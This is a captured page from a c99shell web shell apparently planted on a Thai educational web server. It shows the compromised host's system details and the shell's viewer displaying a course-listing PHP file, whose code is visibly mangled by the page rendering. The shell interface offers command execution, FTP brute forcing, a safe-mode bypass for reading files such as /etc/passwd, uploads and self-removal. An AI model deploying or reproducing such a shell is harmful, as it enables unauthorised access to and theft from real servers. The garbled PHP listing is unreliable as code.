!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/edu_depart/   drwxr-xr-x
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     EditCourseList.php (7.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$strSQL "SELECT * FROM course_tb Order By Term Asc";
$result mysql_query($strSQL); 
$num mysql_num_rows$result );
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="835" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="835" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Edu_Menu.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="AddCourse.php">เพิ่มข้อมูลหลักสูตร</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> รายชื่อหลักสูตร</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="">
    <table width="97%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
      <tr bgcolor="#BFEBFF">
        <td height="25" colspan="7"><div align="center"><font color="#FFFFFF" size="4" face="Tahoma"><strong> <font color="#FF3333" size="3">แก้ไข </font><font color="#000000" size="3">ชื่อหลักสูตรที่เปิดสอน</font></strong></font></div></td>
      </tr>
      <tr bgcolor="#CCCCCC">
        <td width="26" align="center" bordercolor="#CCCCCC"><font color="#000000" size="2" face="Tahoma">&nbsp;<font color="#FF0000">ลบ</font></font></td>
        <td width="41" align="center" bordercolor="#CCCCCC"><font color="#000000" size="2" face="Tahoma">ลำดับ</font></td>
        <td width="557" align="center" bordercolor="#CCCCCC"><font color="#000000" size="2" face="Tahoma">หลักสูตร &nbsp;</font></td>
        <td width="73" align="center" bordercolor="#CCCCCC"><font color="#000000" size="2" face="Tahoma">ปีการศึกษา</font></td>
        <td width="35" align="center" bordercolor="#CCCCCC"><font color="#000000" size="2" face="Tahoma">เปิดดู</font></td>
        <td width="40" align="center" bordercolor="#CCCCCC"><font color="#003399" size="2" face="Tahoma">แก้ไข</font></td>
        <td width="28" align="center" bordercolor="#CCCCCC"><font color="#FF0000" size="2" face="Tahoma">ลบ</font></td>
      </tr>
      <?
$i 
1;
 while(
$row mysql_fetch_array($result))
 {

     if(
$count==0)
     {
?>
      <tr bgcolor="#EEEEEE" >
        <td align="center" bordercolor="#CCCCCC" ><input type="checkbox" name="checkbox[]" title="Check to Delete"value="<? echo $row[Course_code?>" /></td>
        <td align="center" bordercolor="#CCCCCC" ><strong><font color="#000000" size="2" face="Tahoma">
          <?=$i?>
        </font></strong></td>
        <td align="center" ><div align="left"><font color="#000000" size="2" face="Tahoma">
            <?=$row["Course_name"]?>
            <? echo $row[Course_nameE]?></font></div></td>
        <td align="center" bordercolor="#CCCCCC" ><font color="#000000" size="2" face="Tahoma">
          <?=$row["Term"]?>
        </font></td>
        <td align="center" bordercolor="#CCCCCC" ><a href="CourseDetail.php?Course_code=<?=$row["Course_code"]?>" title="เปิด" class="c"><img src="../picture/icoa13.jpg" width="22" height="22" border="0" /></a></td>
        <td align="center" bordercolor="#CCCCCC" ><strong><font color="#000000" size="2" face="Tahoma"><a href="FrmEditCourse.php?Course_code=<?=$row["Course_code"]?>" title="แก้ไข" class="c"><img src="../picture/edit.gif" width="16" height="16" border="0" align="absmiddle" /></a></font></strong></td>
        <td align="center" bordercolor="#CCCCCC" ><div align="center"><strong><font size="2" face="Tahoma" class="c">
            <script language="JavaScript" type="text/javascript">
function Conf<?=$row[Course_code];?>0(object) {
    if (confirm("คุณต้องการลบข้อมูล [<?php echo " $row[Course_code] $row[Course_name]  "?>] หรือไม่?") == true) {
        return true;
    }
    return false;
}
    </script>
        <a href="DelCourse2.php?Course_code=<?php echo $row[Course_code]; ?>"> <img src="../picture/deletenew.gif" alt=" Delete " width="16" height="19" border="0" align="absmiddle" onclick="return Conf<?=$row[Course_code];?>0(this)" /></a></font></strong></div></td>
      </tr>
      <?
    $count
=1;
     }
else
{
?>
      <tr bgcolor="#FFFFFF">
        <td align="center" bordercolor="#CCCCCC" ><input type="checkbox" name="checkbox[]2" title="Check to Delete"value="<? echo $row[Course_code?>" /></td>
        <td align="center" bordercolor="#CCCCCC" ><strong><font color="#000000" size="2" face="Tahoma">
          <?=$i?>
        </font></strong></td>
        <td height="18" align="center" ><div align="left"><font color="#000000" size="2" face="Tahoma">
            <?=$row["Course_name"]?>
            <? echo $row[Course_nameE]?> </font></div></td>
        <td align="center" bordercolor="#CCCCCC" ><font color="#000000" size="2" face="Tahoma">
          <?=$row["Term"]?>
        </font></td>
        <td align="center" bordercolor="#CCCCCC" ><a href="CourseDetail.php?Course_code=<?=$row["Course_code"]?>" title="เปิด" class="c"><img src="../picture/icoa13.jpg" width="22" height="22" border="0" /></a></td>
        <td align="center" bordercolor="#CCCCCC" ><strong><font color="#000000" size="2" face="Tahoma"><a href="FrmEditCourse.php?Course_code=<?=$row["Course_code"]?>" title="แก้ไข" class="c"><img src="../picture/edit.gif" width="16" height="16" border="0" align="absmiddle" /></a></font></strong></td>
        <td align="center" bordercolor="#CCCCCC" ><div align="center"><strong><font size="2" face="Tahoma" class="c">
            <script language="JavaScript" type="text/javascript">
function Conf<?=$row[Course_code];?>0(object) {
    if (confirm("คุณต้องการลบข้อมูล [<?php echo " $row[Course_code] $row[Course_name]  "?>] หรือไม่?") == true) {
        return true;
    }
    return false;
}
    </script>
        <a href="DelCourse2.php?Course_code=<?php echo $row[Course_code]; ?>"> <img src="../picture/deletenew.gif" alt=" Delete " width="16" height="19" border="0" align="absmiddle" onclick="return Conf<?=$row[Course_code];?>0(this)" /></a></font></strong></div></td>
      </tr>
      <?
$count
=0;
}
$i++;
 }    
CloseDB();
?>
      <tr bgcolor="#CCCCCC">
        <td colspan="7" align="center" bordercolor="#CCCCCC"><font color="#000000" size="2" face="Tahoma">ทั้งหมด</font><font color="#FFFFFF" size="2" face="Tahoma"><strong> </strong></font><strong><font size="2" face="Tahoma"><? echo $num ?> &nbsp;</font></strong><font size="2" face="Tahoma"><font color="#000000">หัวข้อ </font><strong>&nbsp;</strong></font></td>
      </tr>
      <tr bgcolor="#BFEBFF">
        <td colspan="7" align="center"><div align="center"><strong><font size="2" face="Geneva, Arial, Helvetica, sans-serif">
            <input type="submit" name="Submit" value="   ลบ   " />
        </font></strong></div></td>
      </tr>
    </table>
  </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อหลักสูตรเพื่อสมัครเรียนของนักศึกษาในหลักสูตร<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--